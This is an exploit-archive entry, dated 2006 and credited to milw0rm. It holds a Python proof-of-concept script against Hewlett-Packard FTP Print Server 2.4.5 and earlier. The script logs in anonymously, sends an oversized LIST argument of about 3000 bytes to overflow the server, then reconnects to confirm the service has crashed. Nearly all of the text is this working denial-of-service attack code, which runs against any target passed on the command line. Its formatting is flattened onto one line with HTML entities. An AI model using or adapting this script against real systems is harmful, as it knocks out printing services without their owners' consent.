Hewlett-Packard FTP Print Server <= 2.4.5 - Buffer Overflow (PoC)

#!/usr/bin/python import sys from ftplib import FTP print &#34;Hewlett-Packard FTP Print Server Version 2.4.5 Buffer Overflow (POC)&#34; print &#34;Copyright (c) Joxean Koret&#34; print if len(sys.argv) == 1: print &#34;Usage: %s &#60;target&#62;&#34; % sys.argv[0] sys.exit(0) target = sys.argv[1] print &#34;[+] Running attack against &#34; + target try: ftp = FTP(target) except: print &#34;[!] Can&#39;t connect to target&#34;, target, &#34;.&#34;, sys.exc_info()[1] sys.exit(0) try: msg = ftp.login() # Login anonymously print msg except: print &#34;[!] Error logging anonymously.&#34;,sys.exc_info()[1] sys.exit(0) buf = &#34;./A&#34; iMax = 9 for i in range(iMax): buf += buf print &#34;[+] Sending buffer of&#34;,len(buf[0:3000]),&#34;byte(s) ... &#34; try: print &#34;[+] Please, note that sometimes your connection will not be dropped. &#34; ftp.retrlines(&#34;LIST &#34; + buf[0:3000]) print &#34;[!] Exploit doesn&#39;t work :(&#34; print sys.exit(0) except: print &#34;[+] Apparently exploit works. Verifying ... &#34; print sys.exc_info()[1] ftp2 = FTP(target) try: msg = ftp2.login() print &#34;[!] No, it doesn&#39;t work :( &#34; print print msg sys.exit(0) except: print &#34;[+] Yes, it works.&#34; print sys.exc_info()[1] # milw0rm.com [2006-12-19]